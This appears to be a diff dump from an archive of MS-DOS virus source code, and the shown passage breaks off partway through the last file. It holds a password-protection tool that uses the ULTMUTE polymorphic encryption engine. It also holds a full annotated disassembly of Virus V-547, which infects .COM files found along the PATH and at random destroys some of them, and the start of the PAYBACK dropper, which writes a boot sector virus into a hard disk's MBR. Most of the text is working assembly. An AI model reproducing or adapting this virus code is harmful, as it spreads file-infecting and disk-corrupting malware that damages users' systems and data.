;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
;Modifications:
|
||||
; None as of 08/05/93 - Initial Release.
|
||||
|
||||
.model tiny
|
||||
.radix 16
|
||||
.code
|
||||
|
||||
org 100
|
||||
|
||||
extrn _ULTMUTE:near, _END_ULTMUTE:byte
|
||||
|
||||
start:
|
||||
call GetFilename
|
||||
call Get_Passes
|
||||
call EncryptGP
|
||||
call Do_File
|
||||
mov ax,4c00
|
||||
int 21
|
||||
;---------------------------------------------------------------------------
|
||||
GetFilename:
|
||||
mov ah,09
|
||||
mov dx,offset Message
|
||||
int 21
|
||||
|
||||
mov dx,offset Filename_Data
|
||||
mov al,60
|
||||
call gets
|
||||
ret
|
||||
;---------------------------------------------------------------------------
|
||||
Get_Passes:
|
||||
Clear_Out_Passes:
|
||||
mov di,offset Entered_Pass
|
||||
mov cx,0ch ;Clear out entered pass.
|
||||
xor ax,ax
|
||||
repnz stosb
|
||||
mov di,offset Password
|
||||
mov cx,0ch ;Clear out entered pass.
|
||||
xor ax,ax
|
||||
repnz stosb
|
||||
|
||||
mov ah,09
|
||||
mov dx,offset Req_Pass
|
||||
int 21
|
||||
|
||||
mov di,offset Entered_Pass
|
||||
mov cx,0ch
|
||||
call GetPass
|
||||
|
||||
mov ah,09
|
||||
mov dx, offset Dup_Pass
|
||||
int 21
|
||||
|
||||
mov di,offset Password
|
||||
mov cx,0ch
|
||||
call GetPass
|
||||
|
||||
call Check_Passwords
|
||||
jc Get_Passes
|
||||
|
||||
mov di,offset Entered_Pass
|
||||
mov cx,0dh ;Clear out entered pass.
|
||||
xor ax,ax
|
||||
repnz stosb
|
||||
|
||||
Randomize_Keys:
|
||||
push ds
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ax,word ptr ds:[46c] ;Randomizes encryption
|
||||
pop ds
|
||||
mov word ptr [Key1],ax
|
||||
xor ax,1f3eh
|
||||
ror ax,1
|
||||
mov word ptr [Key2],ax
|
||||
|
||||
|
||||
|
||||
Encrypt_Password: ;This algorithm needs extra work...
|
||||
mov bx,word ptr [Key1]
|
||||
mov dx,word ptr [Key2] ;Encrypt the password
|
||||
mov si,offset Password
|
||||
mov di,si
|
||||
mov cx,6
|
||||
EncryptIt:
|
||||
lodsw
|
||||
xor ax,bx
|
||||
add bx,dx
|
||||
stosw
|
||||
loop EncryptIt
|
||||
ret
|
||||
;---------------------------------------------------------------------------
|
||||
Message:
|
||||
db 'PassCOM 2.0 (c) 1993 Black Wolf Enterprises.',0a,0dh
|
||||
db 'Enter Filename To Protect -> $'
|
||||
;---------------------------------------------------------------------------
|
||||
Req_Pass db 0a,0dh,'Now Enter Password (up to 12 chars): $'
|
||||
Dup_Pass db 0a,0dh,'Re-Enter Password: $'
|
||||
Passes_Not db 0a,0dh,'Passwords do not match. Try again.',0a,0dh,24
|
||||
;---------------------------------------------------------------------------
|
||||
Check_Passwords:
|
||||
mov si,offset Entered_Pass
|
||||
mov di,offset Password
|
||||
mov cx,0c
|
||||
repz cmpsb
|
||||
jcxz Password_Good
|
||||
stc
|
||||
ret
|
||||
Password_Good:
|
||||
clc
|
||||
ret
|
||||
;---------------------------------------------------------------------------
|
||||
|
||||
|
||||
gets: ;get string
|
||||
mov ah,0a
|
||||
push bx
|
||||
mov bx,dx
|
||||
mov byte ptr ds:[bx],al
|
||||
mov byte ptr ds:[bx+1],0
|
||||
pop bx
|
||||
int 21
|
||||
push bx
|
||||
mov bx,dx
|
||||
mov al,byte ptr ds:[bx+1]
|
||||
xor ah,ah
|
||||
add bx,ax
|
||||
mov byte ptr ds:[bx+2],0
|
||||
pop bx
|
||||
ret
|
||||
;---------------------------------------------------------------------------
|
||||
GetPass:
|
||||
KeyHit_Loop: ;Load in password
|
||||
push cx
|
||||
sub ax,ax
|
||||
int 16
|
||||
cmp al,0dh
|
||||
je HitReturn
|
||||
stosb
|
||||
pop cx
|
||||
loop KeyHit_Loop
|
||||
ret
|
||||
HitReturn:
|
||||
pop cx
|
||||
xor al,al
|
||||
repnz stosb
|
||||
ret
|
||||
|
||||
|
||||
;---------------------------------------------------------------------------
|
||||
Time dw 0
|
||||
Date dw 0
|
||||
|
||||
GetTime:
|
||||
mov ax,5700 ;Get file date/time from handle BX
|
||||
int 21
|
||||
mov word ptr cs:[Time],cx
|
||||
mov word ptr cs:[Date],dx
|
||||
ret
|
||||
|
||||
SetTime: ;Set file date/time for handle BX
|
||||
mov ax,5701
|
||||
mov cx,word ptr cs:[Time]
|
||||
mov dx,word ptr cs:[Date]
|
||||
int 21
|
||||
ret
|
||||
|
||||
Do_File:
|
||||
mov ax,3d02
|
||||
mov dx,offset Filename
|
||||
int 21 ;Open file read/write
|
||||
jc Terminate
|
||||
xchg bx,ax
|
||||
|
||||
call GetTime ;Get file date/time
|
||||
call BackupFile ;make a copy....
|
||||
|
||||
mov ah,3f
|
||||
mov cx,4
|
||||
mov dx,offset Storage_Bytes ;Read in first four bytes for jump
|
||||
int 21
|
||||
|
||||
mov ax,4202
|
||||
xor cx,cx
|
||||
xor dx,dx ;go to the end of the file
|
||||
int 21
|
||||
|
||||
sub ax,3
|
||||
mov word ptr [JumpBytes+1],ax ;Save Jump size
|
||||
|
||||
push bx
|
||||
mov si,offset begin_password ;On Entry -> CS=DS=ES
|
||||
mov di,offset _END_ULTMUTE ;SI=Source, DI=Destination
|
||||
mov bx,ax ;BX=Next Entry Point
|
||||
add bx,103
|
||||
mov cx,end_password-begin_password+1 ;CX=Size to Encrypt
|
||||
mov ax,1 ;AX=Calling Style
|
||||
|
||||
call _ULTMUTE ;Encrypt Code
|
||||
|
||||
;On Return -> CX=New Size
|
||||
pop bx
|
||||
|
||||
mov dx,offset _END_ULTMUTE
|
||||
mov ah,40 ;Write encrypted code and
|
||||
int 21 ;decryptor to end of file
|
||||
|
||||
mov ax,4200
|
||||
xor dx,dx ;Go back to beginning of file
|
||||
xor cx,cx
|
||||
int 21
|
||||
|
||||
mov ah,40
|
||||
mov cx,4
|
||||
mov dx,offset JumpBytes ;Write in jump to decryptor
|
||||
int 21
|
||||
|
||||
call SetTime ;Restore file date/time
|
||||
|
||||
mov ah,3e
|
||||
int 21 ;close file
|
||||
ret
|
||||
|
||||
Terminate:
|
||||
mov ah,09
|
||||
mov dx,offset BadFile
|
||||
int 21
|
||||
ret
|
||||
BadFile db 'Error Opening File.',07,0dh,0a,24
|
||||
|
||||
JumpBytes db 0e9,0,0,'á'
|
||||
|
||||
EncryptGP: ;Encrypt GoodPass routine in pw_com
|
||||
xor ax,ax ;with value from password itself...
|
||||
mov cx,0c
|
||||
mov si,offset Password
|
||||
|
||||
GetValue:
|
||||
lodsb
|
||||
add ah,al
|
||||
ror ah,1 ;Get value to use for encrypt...
|
||||
loop GetValue
|
||||
|
||||
mov si,offset Goodpass
|
||||
mov cx,EndGoodPass-GoodPass
|
||||
|
||||
Decrypt_Restore: ;This needs improvement....
|
||||
mov al,[si]
|
||||
xor al,ah
|
||||
mov [si],al
|
||||
inc si
|
||||
loop Decrypt_Restore
|
||||
ret
|
||||
|
||||
BackupFile: ;Create copy of file...
|
||||
mov si,offset Filename
|
||||
mov cx,80
|
||||
|
||||
Find_Eofn:
|
||||
lodsb
|
||||
cmp al,'.' ;Find file extension
|
||||
je FoundDot
|
||||
or al,al
|
||||
jz FoundZero
|
||||
loop Find_Eofn
|
||||
jmp Terminate
|
||||
FoundZero:
|
||||
mov byte ptr [si-1],'.'
|
||||
inc si
|
||||
FoundDot:
|
||||
mov word ptr [si],'LO'
|
||||
mov byte ptr [si+2],'D' ;Change extension to 'OLD'
|
||||
mov byte ptr [si+3],0
|
||||
|
||||
|
||||
mov dx,offset Filename
|
||||
mov word ptr [SourceF],bx
|
||||
mov ah,3c
|
||||
xor cx,cx
|
||||
int 21
|
||||
jnc GCreate
|
||||
jmp Terminate
|
||||
GCreate:
|
||||
mov word ptr cs:[Destf],ax
|
||||
BackLoop:
|
||||
mov ah,3f
|
||||
mov bx,word ptr cs:[Sourcef]
|
||||
mov cx,400
|
||||
mov dx,offset FileBuffer ;Copy file to backup
|
||||
int 21
|
||||
|
||||
mov cx,ax
|
||||
mov ah,40
|
||||
mov bx,word ptr cs:[Destf]
|
||||
mov dx,offset Filebuffer
|
||||
int 21
|
||||
|
||||
cmp ax,400
|
||||
je BackLoop
|
||||
DoneBack:
|
||||
mov bx,word ptr cs:[Destf]
|
||||
call SetTime ;Save original date/time stamp in
|
||||
;backup
|
||||
mov ah,3e
|
||||
mov bx,word ptr cs:[Destf]
|
||||
int 21 ;Close file
|
||||
|
||||
mov ax,4200
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov bx,word ptr cs:[Sourcef] ;Go back to the beginning of the
|
||||
int 21 ;source file
|
||||
ret
|
||||
|
||||
SourceF dw 0
|
||||
DestF dw 0
|
||||
|
||||
;This is code from PW_COM compiled converted to data bytes..
|
||||
;If you modify PW_COM, you must compile it and convert it, then
|
||||
;place it here. Note that the byte 0ffh marks the beginning and
|
||||
;end of Goodpass for simplicity....
|
||||
|
||||
begin_password:
|
||||
db 0e8h, 02dh, 01h, 02eh, 0c6h, 086h, 09h, 01h, 0eah, 0ebh
|
||||
db 06h, 00h, 0ebh, 011h, 090h, 0adh, 0deh, 0bbh, 021h, 01h
|
||||
db 03h, 0ddh, 053h, 02eh, 0c6h, 086h, 011h, 01h, 0c3h, 0ebh
|
||||
db 0edh, 0ebh, 0f0h, 0fah, 050h, 01eh, 033h, 0c0h, 08eh, 0d8h
|
||||
db 08dh, 086h, 01ch, 02h, 087h, 06h, 00h, 00h, 050h, 08ch
|
||||
db 0c8h, 087h, 06h, 02h, 00h, 050h, 01eh, 0eh, 01fh, 02eh
|
||||
db 0c7h, 086h, 044h, 01h, 090h, 090h, 033h, 0c9h, 0f7h, 0f1h
|
||||
db 01fh, 058h, 087h, 06h, 02h, 00h, 058h, 087h, 06h, 00h
|
||||
db 00h, 01fh, 058h, 0fbh, 0e8h, 0aah, 00h, 02eh, 080h, 086h
|
||||
db 05eh, 01h, 010h, 0ebh, 03h, 090h, 0eah, 09ah, 0e8h, 081h
|
||||
db 00h, 0e8h, 069h, 00h, 072h, 038h, 033h, 0c0h, 0b9h, 0ch
|
||||
db 00h, 08dh, 0b6h, 04eh, 02h, 0ach, 02h, 0e0h, 0d0h, 0cch
|
||||
db 0e2h, 0f9h, 08dh, 0b6h, 090h, 01h, 0b9h, 011h, 00h, 08ah
|
||||
db 04h, 032h, 0c4h, 088h, 04h, 046h, 0e2h, 0f7h, 0e8h, 039h
|
||||
db 00h, 0ebh, 01h, 0ffh
|
||||
|
||||
GoodPass:
|
||||
db 0bfh, 00h, 01h, 057h, 08dh, 0b6h
|
||||
db 03eh, 02h, 0a5h, 0a5h, 033h, 0c0h, 08bh, 0f0h, 08bh, 0f8h
|
||||
db 0c3h
|
||||
EndGoodPass:
|
||||
|
||||
db 0ffh, 0b4h, 09h, 08dh, 096h, 0afh, 01h, 0cdh, 021h
|
||||
db 0b8h, 01h, 04ch, 0cdh, 021h, 0ah, 0dh, 050h, 061h, 073h
|
||||
db 073h, 077h, 06fh, 072h, 064h, 020h, 049h, 06eh, 063h, 06fh
|
||||
db 072h, 072h, 065h, 063h, 074h, 02eh, 07h, 024h, 090h, 0ebh
|
||||
db 05h, 090h, 0eah, 0f8h, 0c3h, 09ah, 0fch, 0ebh, 0fah, 08dh
|
||||
db 0b6h, 04eh, 02h, 08dh, 0beh, 042h, 02h, 0b9h, 0ch, 00h
|
||||
db 0f3h, 0a6h, 0e3h, 03h, 0f9h, 0c3h, 0e9h, 0f8h, 0c3h, 00h
|
||||
db 08bh, 09eh, 03ah, 02h, 08bh, 096h, 03ch, 02h, 08dh, 0b6h
|
||||
db 04eh, 02h, 08bh, 0feh, 0b9h, 06h, 00h, 0adh, 033h, 0c3h
|
||||
db 03h, 0dah, 0abh, 0e2h, 0f8h, 0c3h, 0eah, 0b9h, 0ch, 00h
|
||||
db 08dh, 0beh, 04eh, 02h, 051h, 02bh, 0c0h, 0cdh, 016h, 03ch
|
||||
db 0dh, 074h, 05h, 0aah, 059h, 0e2h, 0f3h, 0c3h, 059h, 032h
|
||||
db 0c0h, 0f2h, 0aah, 0c3h, 0b4h, 09h, 08dh, 096h, 025h, 02h
|
||||
db 0cdh, 021h, 0cfh, 050h, 061h, 073h, 073h, 077h, 06fh, 072h
|
||||
db 064h, 02dh, 03eh, 024h, 05dh, 0ebh, 01h, 0eah, 055h, 081h
|
||||
db 0edh, 03h, 01h, 0c3h
|
||||
;------------------------------------------------------------------------
|
||||
Key1 dw 0
|
||||
Key2 dw 0
|
||||
;------------------------------------------------------------------------
|
||||
Storage_Bytes db 90,90,0cdh,20
|
||||
;------------------------------------------------------------------------
|
||||
Password db 'Greetings to'
|
||||
Entered_Pass db 'everyone! '
|
||||
db 0,0,0,0,0,0,0
|
||||
end_password:
|
||||
dw 0
|
||||
dw 0
|
||||
Filename_data dw 0
|
||||
Filename db 80 dup(0) ;These are stored as zeros to
|
||||
FileBuffer db 400 dup(0) ;keep from overwriting ultimute...
|
||||
end start
|
341
MSDOS/Virus.MSDOS.Unknown.path.asm
Normal file
341
MSDOS/Virus.MSDOS.Unknown.path.asm
Normal file
@ -0,0 +1,341 @@
|
||||
;----------------------------------------------
|
||||
; Virus V-547
|
||||
;
|
||||
; Dissasembled: Andrzej Kadlof April 1991
|
||||
;
|
||||
; (C) Polish Section of Virus Information Bank
|
||||
;----------------------------------------------
|
||||
|
||||
0100 E9FD00 JMP 0200 ; jump to virus
|
||||
|
||||
; ....
|
||||
; victim code
|
||||
;====================
|
||||
; virus entry point
|
||||
|
||||
0200 EB03 JMP 0205
|
||||
|
||||
0202 49 42 4D ; IBM
|
||||
|
||||
; set DS to wirus working area
|
||||
|
||||
0205 0E PUSH CS
|
||||
0206 58 POP AX
|
||||
0207 052000 ADD AX,0020 ; [0208] is modified for each victim
|
||||
020A 8ED8 MOV DS,AX
|
||||
|
||||
; restore oryginal first 3 bytes of victim
|
||||
|
||||
020C 8B162002 MOV DX,[0220]
|
||||
0210 2E89160001 MOV CS:[0100],DX
|
||||
0215 8A362202 MOV DH,[0222]
|
||||
0219 2E88360201 MOV CS:[0102],DH
|
||||
|
||||
021E B80001 MOV AX,0100 ; application start address
|
||||
0221 0E PUSH CS ; store on stack
|
||||
0222 50 PUSH AX
|
||||
0223 33FF XOR DI,DI
|
||||
0225 2E8E062C00 MOV ES,CS:[002C] ; segment of environment
|
||||
022A 51 PUSH CX
|
||||
022B FC CLD
|
||||
022C 32C0 XOR AL,AL
|
||||
|
||||
022E B90500 MOV CX,0005 ; length of string
|
||||
0231 BE1B02 MOV SI,021B ; PATH=
|
||||
0234 F3A6 REPZ CMPSB
|
||||
0236 740B JZ 0243
|
||||
|
||||
0238 B9E803 MOV CX,03E8
|
||||
023B F2AE REPNZ SCASB
|
||||
023D 26803D00 CMP BYTE PTR ES:[DI],00
|
||||
0241 75EB JNZ 022E
|
||||
|
||||
0243 8BF7 MOV SI,DI
|
||||
0245 59 POP CX
|
||||
0246 51 PUSH CX
|
||||
0247 B42C MOV AH,2C ; get time
|
||||
0249 CD21 INT 21
|
||||
|
||||
024B F6C601 TEST DH,01 ; seconds
|
||||
024E 7503 JNZ 0253
|
||||
|
||||
0250 E9B401 JMP 0407
|
||||
|
||||
0253 88365702 MOV [0257],DH
|
||||
0257 06 PUSH ES
|
||||
0258 B42F MOV AH,2F ; Get DTA
|
||||
025A CD21 INT 21
|
||||
|
||||
025C 891E2802 MOV [0228],BX
|
||||
0260 8C062A02 MOV [022A],ES
|
||||
0264 07 POP ES
|
||||
0265 BA2C02 MOV DX,022C
|
||||
0268 B41A MOV AH,1A ; set DTA
|
||||
026A CD21 INT 21
|
||||
|
||||
026C B44E MOV AH,4E ; find first
|
||||
026E BA2302 MOV DX,0223
|
||||
0271 B90800 MOV CX,0008 ; volume label
|
||||
0274 CD21 INT 21
|
||||
|
||||
0276 7219 JB 0291
|
||||
|
||||
0278 813E44022110 CMP WORD PTR [0244],1021 ; date: 1988 January 1
|
||||
027E 7511 JNZ 0291
|
||||
|
||||
0280 81264202E0FF AND WORD PTR [0242],FFE0 ; clear seconds
|
||||
0286 813E42022008 CMP WORD PTR [0242],0820 ; time: 01:01:00
|
||||
028C 7503 JNZ 0291
|
||||
|
||||
028E E96A01 JMP 03FB ; exit to application
|
||||
|
||||
; copy founded string to local buffer
|
||||
|
||||
0291 BF5802 MOV DI,0258 ; set buffer address
|
||||
|
||||
0294 26803C3B CMP BYTE PTR ES:[SI],3B ; ';' end of string marker
|
||||
0298 740F JZ 02A9
|
||||
|
||||
029A 26803C00 CMP BYTE PTR ES:[SI],00 ; end of environment
|
||||
029E 7409 JZ 02A9
|
||||
|
||||
02A0 268A04 MOV AL,ES:[SI]
|
||||
02A3 8805 MOV [DI],AL
|
||||
02A5 47 INC DI
|
||||
02A6 46 INC SI
|
||||
02A7 EBEB JMP 0294 ; copy next character
|
||||
|
||||
02A9 81FF5802 CMP DI,0258 ; path name non empty?
|
||||
02AD 7509 JNZ 02B8 ; jump if no empty
|
||||
|
||||
02AF 26803C00 CMP BYTE PTR ES:[SI],00 ; end of environment block?
|
||||
02B3 7403 JZ 02B8 ; jump if yes
|
||||
|
||||
02B5 E93801 JMP 03F0 ; no path name, exit
|
||||
|
||||
02B8 81FF5802 CMP DI,0258 ; no path name?
|
||||
02BC 7412 JZ 02D0 ; jump if yes
|
||||
|
||||
02BE 26807CFF5C CMP BYTE PTR ES:[SI-01],5C ; '\'
|
||||
02C3 740B JZ 02D0
|
||||
|
||||
02C5 26807CFF2F CMP BYTE PTR ES:[SI-01],2F ; '/'
|
||||
02CA 7404 JZ 02D0
|
||||
|
||||
; add directory sign
|
||||
|
||||
02CC C6055C MOV BYTE PTR [DI],5C ; '\'
|
||||
|
||||
; add mask
|
||||
|
||||
02CF 47 INC DI
|
||||
02D0 C7052A2E MOV WORD PTR [DI],2E2A ; '*.'
|
||||
02D4 C74502636F MOV WORD PTR [DI+02],6F63 ; 'co'
|
||||
02D9 C745046D00 MOV WORD PTR [DI+04],006D ; 'm', 0
|
||||
|
||||
02DE B44E MOV AH,4E ; find next
|
||||
02E0 BA5802 MOV DX,0258 ; path name + mask
|
||||
02E3 B90300 MOV CX,0003 ; hiden and read only
|
||||
02E6 CD21 INT 21
|
||||
|
||||
02E8 7303 JAE 02ED ; founded
|
||||
|
||||
02EA E90301 JMP 03F0 ; search for next path
|
||||
|
||||
02ED A14202 MOV AX,[0242] ; file time
|
||||
02F0 241F AND AL,1F ; extract seconds
|
||||
02F2 3C1F CMP AL,1F ; 62 seconds?
|
||||
02F4 7463 JZ 0359 ; yes, infected
|
||||
|
||||
02F6 833E480200 CMP WORD PTR [0248],+00 ; high word of file length
|
||||
02FB 755C JNZ 0359 ; file too long
|
||||
|
||||
02FD 813E460200FA CMP WORD PTR [0246],FA00 ; maximum file length
|
||||
0303 7754 JA 0359
|
||||
|
||||
0305 833E46020A CMP WORD PTR [0246],+0A ; minimum file length
|
||||
030A 724D JB 0359 ; file too short
|
||||
|
||||
; copy file name to local buffer
|
||||
|
||||
030C BB4A02 MOV BX,024A ; file name
|
||||
030F B90D00 MOV CX,000D ; length of file name in DTA
|
||||
0312 57 PUSH DI
|
||||
0313 8A07 MOV AL,[BX]
|
||||
0315 8805 MOV [DI],AL
|
||||
0317 43 INC BX
|
||||
0318 47 INC DI
|
||||
0319 E2F8 LOOP 0313
|
||||
|
||||
; clear all attributes (CX = 0)
|
||||
|
||||
031B C60500 MOV BYTE PTR [DI],00 ; end of ASCIIZ string
|
||||
031E 5F POP DI
|
||||
031F B80143 MOV AX,4301 ; set file attribute
|
||||
0322 CD21 INT 21
|
||||
|
||||
0324 B8023D MOV AX,3D02 ; open file for read/write
|
||||
0327 CD21 INT 21
|
||||
|
||||
0329 722E JB 0359 ; find next
|
||||
|
||||
032B 8BD8 MOV BX,AX ; handle
|
||||
032D A14202 MOV AX,[0242] ; file time
|
||||
0330 241F AND AL,1F ; extract seconds
|
||||
0332 3C1E CMP AL,1E ; 62?
|
||||
0334 750A JNZ 0340
|
||||
|
||||
; founded file is infected, with probability 1/16 destroy it
|
||||
|
||||
0336 802657020F AND BYTE PTR [0257],0F ; "random" number
|
||||
033B 740A JZ 0347 ; destroy file
|
||||
|
||||
033D E98400 JMP 03C4 ; restore file data and exit
|
||||
|
||||
; with probability 1/8 destroy file
|
||||
|
||||
0340 8026570207 AND BYTE PTR [0257],07
|
||||
0345 7515 JNZ 035C ; infect file
|
||||
|
||||
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
|
||||
; classic Vienna 648 destruction (set firt instruction to JMP F000:FFF0)
|
||||
|
||||
0347 B440 MOV AH,40 ; write file
|
||||
0349 B90500 MOV CX,0005
|
||||
034C BA1302 MOV DX,0213
|
||||
034F CD21 INT 21
|
||||
|
||||
0351 810E42021F00 OR WORD PTR [0242],001F
|
||||
0357 EB6B JMP 03C4 ; exit
|
||||
|
||||
0359 E98B00 JMP 03E7 ; find next
|
||||
|
||||
; infect file
|
||||
|
||||
035C B43F MOV AH,3F ; read file
|
||||
035E B90300 MOV CX,0003 ; 3 bytes
|
||||
0361 BA2002 MOV DX,0220 ; to local buffer
|
||||
0364 CD21 INT 21
|
||||
|
||||
0366 725C JB 03C4 ; reset file data
|
||||
|
||||
0368 3D0300 CMP AX,0003 ; check for error
|
||||
036B 7557 JNZ 03C4 ; reset file data
|
||||
|
||||
036D B80042 MOV AX,4200 ; move file ptr to BOF
|
||||
0370 B90000 MOV CX,0000
|
||||
0373 BA0000 MOV DX,0000
|
||||
0376 CD21 INT 21
|
||||
|
||||
0378 724A JB 03C4 ; reset file data
|
||||
|
||||
037A A14602 MOV AX,[0246] ; file size
|
||||
037D 050F00 ADD AX,000F ; addjust to paragraph border
|
||||
0380 25F0FF AND AX,FFF0
|
||||
0383 8BE8 MOV BP,AX ; store intermidiate length
|
||||
0385 2D0300 SUB AX,0003 ; length of JMP XXXX
|
||||
0388 A31902 MOV [0219],AX ; form JMP XXXX in local buffer
|
||||
038B B90300 MOV CX,0003 ; number of bytes
|
||||
038E BA1802 MOV DX,0218 ; address of JMP virus_code
|
||||
0391 B440 MOV AH,40 ; write file
|
||||
0393 CD21 INT 21
|
||||
|
||||
0395 722D JB 03C4 ; reset file data
|
||||
|
||||
0397 B80242 MOV AX,4202 ; move file ptr rel EOF
|
||||
039A 8BD5 MOV DX,BP ; addjuseted file length
|
||||
039C 2B164602 SUB DX,[0246] ; real file length
|
||||
03A0 B90000 MOV CX,0000 ; high word of file end
|
||||
03A3 CD21 INT 21
|
||||
|
||||
03A5 721D JB 03C4 ; restore file data
|
||||
|
||||
03A7 81C50001 ADD BP,0100 ; PSP length
|
||||
03AB B104 MOV CL,04 ; convert to paragraphs
|
||||
03AD D3ED SHR BP,CL
|
||||
03AF 892E0800 MOV [0008],BP ; automodyfication of virus code
|
||||
03B3 B92302 MOV CX,0223 ; virus length
|
||||
03B6 90 NOP
|
||||
03B7 BA0000 MOV DX,0000 ; buffer, start of virus code
|
||||
03BA B440 MOV AH,40 ; write file
|
||||
03BC CD21 INT 21
|
||||
|
||||
03BE 810E42021E00 OR WORD PTR [0242],001E ; set 62 seconds
|
||||
|
||||
; restore file time/date stamp
|
||||
|
||||
03C4 8B164402 MOV DX,[0244] ; restore file date stamp
|
||||
03C8 8B0E4202 MOV CX,[0242] ; restore file time stamp
|
||||
03CC B80157 MOV AX,5701 ; set file time/date stamp
|
||||
03CF CD21 INT 21
|
||||
|
||||
03D1 B43E MOV AH,3E ; close file
|
||||
03D3 CD21 INT 21
|
||||
|
||||
; restore file attributes
|
||||
|
||||
03D5 B80143 MOV AX,4301 ; set file attributes
|
||||
03D8 33C9 XOR CX,CX
|
||||
03DA 8A0E4102 MOV CL,[0241] ; restore file attributes
|
||||
03DE BA5802 MOV DX,0258
|
||||
03E1 03D6 ADD DX,SI
|
||||
03E3 CD21 INT 21
|
||||
|
||||
03E5 EB14 JMP 03FB ; exit
|
||||
|
||||
; find next candidate for victim
|
||||
|
||||
03E7 B44F MOV AH,4F ; find next
|
||||
03E9 CD21 INT 21
|
||||
|
||||
03EB 7203 JB 03F0 ; search for next path
|
||||
|
||||
03ED E9FDFE JMP 02ED ; check file
|
||||
|
||||
03F0 46 INC SI
|
||||
03F1 26807CFF00 CMP BYTE PTR ES:[SI-01],00 ; end of environment block?
|
||||
03F6 7403 JZ 03FB ; yes, exit
|
||||
|
||||
03F8 E996FE JMP 0291 ; search for next path name
|
||||
|
||||
; restore DTA
|
||||
|
||||
03FB B41A MOV AH,1A ; set DTA
|
||||
03FD 8B162802 MOV DX,[0228]
|
||||
0401 8E1E2A02 MOV DS,[022A]
|
||||
0405 CD21 INT 21
|
||||
|
||||
; exit to application
|
||||
|
||||
0407 33C0 XOR AX,AX
|
||||
0409 33DB XOR BX,BX
|
||||
040B 33D2 XOR DX,DX
|
||||
040D 33F6 XOR SI,SI
|
||||
040F 33FF XOR DI,DI
|
||||
0411 59 POP CX
|
||||
0412 CB RETF
|
||||
|
||||
; working area
|
||||
|
||||
0413 EAF0FF00F0 ; JMP F000:FFF0 instruction for destruction
|
||||
0418 E9 FD 00 ; form new first 3 bytes (JMP 0518)
|
||||
041B 50 41 54 48 3D ; PATH=
|
||||
0420 db ? dup (3) ; first 3 bytes of victim
|
||||
|
||||
; end of code copied to file
|
||||
;==============================
|
||||
; working area
|
||||
|
||||
0423 db ? dup (5) ; mask of file name for FindFirst
|
||||
0428 dd ? ; address of old DTA
|
||||
042C db ? dup (2C) ; local DTA
|
||||
|
||||
; 0 db ? dup (15h) ; reserwed [022C]
|
||||
; 15h db ? ; atributte [0241]
|
||||
; 16h dw ? ; time [0242]
|
||||
; 18h dw ? ; date [0244]
|
||||
; 1Ah dd ? ; file size [0246]
|
||||
; 1Eh db ? dup (0Dh) ; file name [024A] ... [0256]
|
||||
|
||||
0457 db ? ; system timer seconds
|
||||
0458 db ? ; buffer for path name from environment
|
476
MSDOS/Virus.MSDOS.Unknown.payback.a86
Normal file
476
MSDOS/Virus.MSDOS.Unknown.payback.a86
Normal file
@ -0,0 +1,476 @@
|
||||
;*****************************************************************************
|
||||
;* *
|
||||
;* FILE: PAYBACK.A86 *
|
||||
;* PURPOSE: Dropper containing PAYBACK boot sector virus *
|
||||
;* DISASSEMBLY BY: Willoughby AUTHOR: Unknown clever coder *
|
||||
;* *
|
||||
;*****************************************************************************
|
||||
|
||||
MAIN SEGMENT BYTE
|
||||
ASSUME CS:MAIN,DS:MAIN,ES:MAIN
|
||||
|
||||
ORG 100h
|
||||
|
||||
;*****************************************************************************
|
||||
;Decryption routine to decrypt body of virus. Not used in this file as virus
|
||||
;has already been decrypted for analysis. Bit sequence of encryption/decryp-
|
||||
;tion key possibly chosen for its randomized bit sequence (just a guess).
|
||||
|
||||
;DECRYPT:
|
||||
; MOV CX,02A8 ;set length of encrypted code
|
||||
; MOV AX,0391D ;load decryption key (bit sequence
|
||||
; ;"0011100100011101")
|
||||
; MOV SI,OFFSET MBR_BUFFER ;point to end of encrypt. code
|
||||
;DECLP1: DEC CX ;decrement byte count
|
||||
; JS DROPPER ;if done, jump to dropper start
|
||||
; XOR [SI],AL ;decrypt a byte
|
||||
; XCHG AH,AL ;change key
|
||||
; ROR AX,CL ;really mix it up
|
||||
; DEC SI ;point to next byte to decrypt
|
||||
; JMP DECLP1 ;do it all again
|
||||
|
||||
;****************************************************************************
|
||||
;Dropper routine to place virus in MBR of fixed disk "C".
|
||||
|
||||
DROPPER:
|
||||
MOV AX,03513 ;get INT13 vector.
|
||||
INT 021
|
||||
MOV [OFFSET VECT_INT13],BX ;store offset of INT13 in virus
|
||||
MOV [OFFSET VECT_INT13+2],ES ;store segment of INT13 in virus
|
||||
CALL STEAL_INT01 ;jump to steal INT01 routine
|
||||
MOV AX,0201 ;select read-one-sector function
|
||||
MOV BX,OFFSET MBR_BUFFER ;set disk I/O buffer offset
|
||||
MOV CX,0001 ;cylinder 0, sector 1
|
||||
MOV DX,0080 ;head 0, fixed disk "C"
|
||||
CALL SYS_INT13 ;read boot sector of drive "C"
|
||||
JB RUN_CARRIER ;if flag = failure, execute carrier
|
||||
CMP WORD PTR [BX+010],012CD ;check for infection tag
|
||||
JE RUN_CARRIER ;if infected, execute carrier program
|
||||
XOR AX,AX
|
||||
MOV DS,AX ;point to data segment 0000h
|
||||
MOV AX,[046C] ;load lower two bytes of master clock
|
||||
PUSH CS
|
||||
POP DS ;restore data segment
|
||||
TEST AL,01 ;AL=01 in 1 out of 2 tries (clock LSB)
|
||||
JZ RUN_CARRIER ;if AL <> 01, do not infect system
|
||||
SUB BX,0200 ;set disk I/O buffer to point to virus
|
||||
MOV AX,0302 ;select write-two-sectors
|
||||
CALL SYS_INT13 ;write virus to MBR and original
|
||||
;boot sector to sector 2.
|
||||
|
||||
;****************************************************************************
|
||||
;Routine to restore original jump address to start of trojan file and to
|
||||
;execute trojan carrier program. We don't use it here since the virus is not
|
||||
;attached to anything (other than its own dropper). Instead, the replacement
|
||||
;RUN_CARRIER routine below it is executed to terminate the dropper.
|
||||
|
||||
;RUN_CARRIER:
|
||||
; MOV DI,0100 ;point to carrier prog. start
|
||||
; MOV WORD PTR [DI],030B4 ;restore original jump value
|
||||
; MOV BYTE PTR [DI+02],CD ;ditto
|
||||
; XOR AX,AX
|
||||
